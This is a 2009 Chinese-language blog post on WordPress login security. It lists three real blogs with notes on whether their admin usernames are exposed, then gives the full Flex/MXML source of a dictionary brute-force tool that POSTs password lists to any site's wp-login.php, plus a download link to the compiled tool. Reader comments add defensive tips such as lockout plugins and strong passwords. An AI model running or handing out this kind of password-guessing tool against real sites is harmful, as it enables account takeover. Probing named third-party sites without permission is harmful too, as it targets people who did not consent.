首頁 > WordPress, 程式設計, 網頁設計 > 甘道夫,我的 WordPress 被攻破了 [ WP 駭客記 ]

甘道夫,我的 WordPress 被攻破了 [ WP 駭客記 ]

2009年4月27日  瀏覽次數 : 4,997

DEAR 甘道夫 :

我的 WORDPRESS 已經淪陷了,原本身為貴族的我,也必須向庶民一般在一片荒蕪的 MySQL 田裡,揮汗如雨的耕種,更不用說當初我做得那些備份,也一起被敵人給刪除了,回想 WP 後台深鎖的城堡淪陷的那天,城堡外面數千萬隻的箭不停的射在我那毫無抵抗能力的大門上,外頭那像紙摺一般的戰象,卻又不像那弱不禁風的樣子,一頂就把我虛弱無比的生日密碼大門給撞破了,而那個用 FLEX HTTPSERVICE 做的木馬,就這樣大喇喇的駛進我的領地,雖然我很想再起江湖,但,沒有個強力法師助陣,我又該如何穩固 WP 城堡呢 ?

Scan04272009_194731 圖 : CORA - 屠城專用木馬 + 很像紙摺的戰象 ( 其實是很猛的啦 沒看到那座城堡嗎 !!? )

今天發表一篇關於 WORDPRESS 安全性的文章,有用過 WP 後台的人都知道,WP 的後台登入只要輸入

http://yourdomain/wp-login.php

就可以進入輸入使用這帳號密碼的頁面

既然大家都是一樣的登入網頁,那相對的安全性也要特別的提高才可以,不然大家都知道原始碼是怎麼寫的,那這樣不死才有鬼呢,既然,要測試安全性,我們就來看看排名榜首的大站,在 WP 的後台安全機制做得好不好吧。

聲明 : 純粹只是拿 " 大站 " 來測試,並沒有攻擊意味存在 , 所謂樹大招風 , 不然我真的不知道拿誰的來測試。

image 犧牲者之一 : 香腸炒魷魚 –> admin 帳號已做更改

image 犧牲者之二 : 重灌狂人 –> admin 帳號尚未更改

image 犧牲者之三 : 高登工作室 –> admin 帳號雖然改了 但是 gordon 的鴕鳥屁股還在外面阿 @@"

那一定很奇怪,即使是如此,那又如何呢,如果說密碼設定的強度夠強,或許要花很多時間才可以攻破你的 WP 大門,但是如果你的密碼只是那種 4 位數字的密碼,那就用紙扎得戰象都可以衝破你家囉。因此我搞了一個東西來測試一下 WP 的安全性是否足夠。

image 我就稍微拿重灌狂人的來測試看看好了,不過像這麼大的站 admin 的密碼一定不是我隨便打就可以破解的啦

 

既然不知道人家的網站密碼是什麼,那這樣怎麼知道是不是有成功阿,好吧,我建立了一個測試的部落格,並且新增一個使用者 test , 並且我給他一組簡單的生日密碼 0726 ( 就是小弟的生日啦,記得送禮物,我不拿這組當密碼的 ^^ )

image

OK 之後我們到登入頁面,帳號輸入 TEST 密碼我們隨意亂輸入,果然出現 密碼錯誤 的訊息,表示有這個帳號但是密碼我們還不知道,因此重新執行我們自己寫的小程式。並且帳號輸入 TEST ,並且放入我們的字典檔。

image 果然測試出我們的密碼就是 0726 這個生日密碼

這種破解方式,我們稱為字典破解法也可以叫他做暴力破解法,透過簡單的字彙,或是生日,或是數字,我們可以利用一些字典檔來做破解,通常只要是字典內有的文字,都可以破解的出來,但是還是時間問題,但是這樣的安全性足夠嗎 ? 即使你用了強大的 大小寫 數字混合密碼,但是…..你的 WP 城堡幾時候會淪陷呢 ?

有看過電影的朋友應該都知道,只要努力禱告,白金清道夫總是會出現的~~

 

如果想要玩看看這隻程式的朋友請到 http://files.corausir.org/swf/GetAdmin.swf [另存下載]

並且將他加入 FLASH 安全例外清單中,就可以四處測試一下,但是請不要為非作歹阿。

至於在學 FLEX 的朋友也可以看看下面的範例,其實因為安全性的關係,取得其他網站的 TEXT 在做利用是比較麻煩的,因此如果是像做這種程式會比較建議用 AJAX 來做,分享性比較高。

GetAdmin.mxml

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
<?xml version="1.0" encoding="utf-8"?>
<mx:Application xmlns:mx="http://www.adobe.com/2006/mxml" layout="vertical" fontSize="14">
 
	<mx:Script>
		<![CDATA[
			import mx.collections.ArrayCollection;
			import mx.rpc.events.ResultEvent;
			[Bindable]
			private var hackResult:ArrayCollection = new ArrayCollection();
			private var pwdArray:Array = new Array;
			private function clickHandler():void{
				this.wp_admin.url = this.hackURL.text;
 
				this.pwdArray = this.pwdArea.text.split(",");
				this.hackAdmin(this.pwdArray[0]);
 
			}
 
			private function hackAdmin(pwd:String):void{
				var obj:Object = new Object();
				obj.log = this.account.text;
				obj.pwd = pwd;
				this.wp_admin.send(obj);
 
			}
 
			private function resultHandler(event:ResultEvent):void{
 
				var hack:Boolean;
				if(String(event.result).indexOf("login_error") != -1){
					hack = false;
				}else{
					hack = true;
				}
 
 
				var obj:Object = new Object();
				obj.pwd = this.pwdArray[0];
				obj.hack = hack;
				this.hackResult.addItemAt(obj,0);
 
				this.pwdArray = this.pwdArray.slice(1,this.pwdArray.length);
				if(this.pwdArray[0] != null && !hack){
					this.hackAdmin(this.pwdArray[0]);
 
				}
			}
		]]>
	</mx:Script>
	<mx:ApplicationControlBar dock="true">
		<mx:LinkButton label=":: corAusir :: 程式逗設計"/>
	</mx:ApplicationControlBar>
	<mx:Label text="字典區,請用 , 半型逗號區隔密碼"/>
	<mx:TextArea id="pwdArea" width="500" height="160"/>
	<mx:Label text="帳號 EX. admin 或是 發表帳號"/>
	<mx:TextInput id="account"/>
	<mx:Label text="欲攻擊網站 : 請把 yourdomain 改成你要攻擊的網址"/>
	<mx:TextInput id="hackURL" text="http://yourdomain/wp-login.php"/>
	<mx:Button label="開始 WP 後台 字典破解" click="clickHandler()"/>
	<mx:DataGrid width="500" dataProvider="{this.hackResult}">
		<mx:columns>
			<mx:DataGridColumn headerText="密碼" dataField="pwd"/>
			<mx:DataGridColumn headerText="結果" dataField="hack"/>
		</mx:columns>
	</mx:DataGrid>
	<mx:HTTPService id="wp_admin" method="POST" resultFormat="text" result="resultHandler(event)"/>
 
</mx:Application>

Random Posts

Loading…

:: 把這篇好文推到書籤網站與更多人分享吧 ::
  • funp
  • Hemidemi
  • YahooKimo
  • Google
  • udn
  • Haohao
  • Live

目前並無相關文章

Ausir WordPress, 程式設計, 網頁設計 , , , ,

  1. 2009年4月27日22:21 | #1

    甘道夫我來囉..

  2. 2009年4月27日22:23 | #2

    這個有點殺太大囉

  3. 2009年4月27日22:25 | #3

    @scorpio

    是阿
    殺很大~~

    不過白金清道夫應該很快就會出現了~
    敬請鎖定囉 ^_^

  4. 2009年4月27日22:31 | #4

    這下真的好玩了….@@

  5. 2009年4月27日23:08 | #5

    額~~~怎么突然想到用這個來做?
    好玩~~~還好我的是強密碼保護!

  6. 2009年4月27日23:33 | #6

    好險我的密碼隨便也要10碼以上

  7. 2009年4月27日23:43 | #7

    雖然這編有看沒有懂,也感謝分享得加強自己網站的安全性啦!
    不過像大大如此懂程式的台灣設計師也不多,有興趣加入軌道部落或boloki~
    http://www.boloki.com
    公益啦~

  8. 2009年4月27日23:55 | #8

    @Elvis
    密碼太弱真的很危險 @@”

    @Alvin
    FLEX 可以做很多事情阿 ^^ 並不是只有寫網頁而以阿~

    @馬諦斯
    嗯嗯~~ 網路密碼強度還是高一點比較好

    @design50
    耶 @@ 我們是兩個人啦~~
    你認錯哩 ^^

  9. 小豬
    2009年4月28日00:07 | #9

    真驚人= =
    這下子好玩了XD……

  10. 2009年4月28日01:27 | #10

    甘道夫變成招喚獸了..XD

  11. 2009年4月28日05:14 | #11

    還好, 我的小站沒有樹大招風.
    還好我的數十個用 WordPrsee 做的小 blog, 每一個 admin 所使用的 username 與 password 都不同. 字數與格式都完全不同. 我用一套很有趣的規則去安排這些 username 與 Password. 也沒需花精神去記.

  12. 2009年4月28日09:51 | #12

    @小豬
    還好啦 修復的文章我還在寫
    應該很快可以放出來

    @宅
    是清道夫 不是甘道夫喔

    @taipaz
    帳號密碼都改一改比較保險 ^^”
    但是還是要從根本解決這個問題比較好

  13. 2009年4月28日12:21 | #13

    好家在!!我連我自已的密碼都忘了~~

  14. 2009年4月28日12:50 | #14

    做备份没有?
    就是这个部落格??
    修复好的样子 hoho

  15. 2009年4月28日18:32 | #15

    @kikicici

    沒有啦~ 我是 HACK 自己另外的部落格
    我這個部落格已經做好修正了

  16. 2009年4月28日18:54 | #16

    我變成祭品了……..

  17. 2009年4月28日19:36 | #17

    @香腸

    噗 @@ 不好意思嚕~~ 歹勢歹勢
    不過我還找出你的帳號是什麼哩~~
    保密防諜呢~

  18. 2009年4月30日09:46 | #18

    機車的帳號名與近似亂數的密碼
    是一個有效防範猜帳密的最簡單方法
    小弟從事MIS工作,帳密皆符合第一句話
    只是站太小,沒人想來攻(大誤)
    簡單幾個原則,設定強軔密碼
    「數字、英文大寫、英文小寫、符號」且密碼長度最少「八碼」以上
    就算用字典來猜,大概也猜到下個月還不一定猜的出來
    資安課程的範例密碼:P@sswOrd 或 Pa$$w0rd
    好記(英文單字password),大小寫都有,有特殊符號如@或$
    不過一般人千萬不要用這個組密碼,因為「太範例」了!
    這組密碼也是一般駭客的字典檔中內內建的組合,容易被猜到!

    帳戶安全原則至少有三項:密碼複雜度、帳戶鎖定原則(限打錯次數及鎖定時間)及不使用預設管理員名稱(如admin、administrator、root等)
    基本上有遵照以上三個原則,帳密就安全的多,不過,世界上沒有破解不了的鎖!
    還是多備分,以及注意帳密的保管為上,此外還要小心「社交工程」的騙取帳密行為
    大家參考看看吧!

    資訊安全 人人有責

  19. 2009年4月30日10:19 | #19

    我推薦下面這個外掛…諾自己把它中文化了,有需要再跟我說。^_^

    Limit Login Attempts 1.3.1
    防止暴力破解登入管理後台。可設定於時限內連續輸入帳號、密碼錯誤幾次自動鎖IP幾小時,並設定鎖幾次後寄發E-mail通知站長。

  20. 2009年4月30日11:34 | #20

    @拆組達人
    密碼強化是基本
    但是系統本身防止暴力登入是第二步驟

    @Arno Ruan
    原來已經有這套外掛了喔~
    我還 ” 給熬 ” 自己寫了個小外掛來防止暴力登入
    呵呵 >”<

  21. 2009年6月7日23:58 | #21

    ….很殺!
    剛好程語這門課我們報告有提到FLEX耶

    你的文章很有趣呢~哈

  22. 2009年6月8日09:55 | #22

    @莫小屁

    謝謝
    FLEX 很好玩喔~
    要認真學喔~

  23. 2009年10月19日15:20 | #23

    不是特别懂,不过FLEX到是用过一两次

  1. 本篇文章目前尚無任何 trackbacks 和 pingbacks。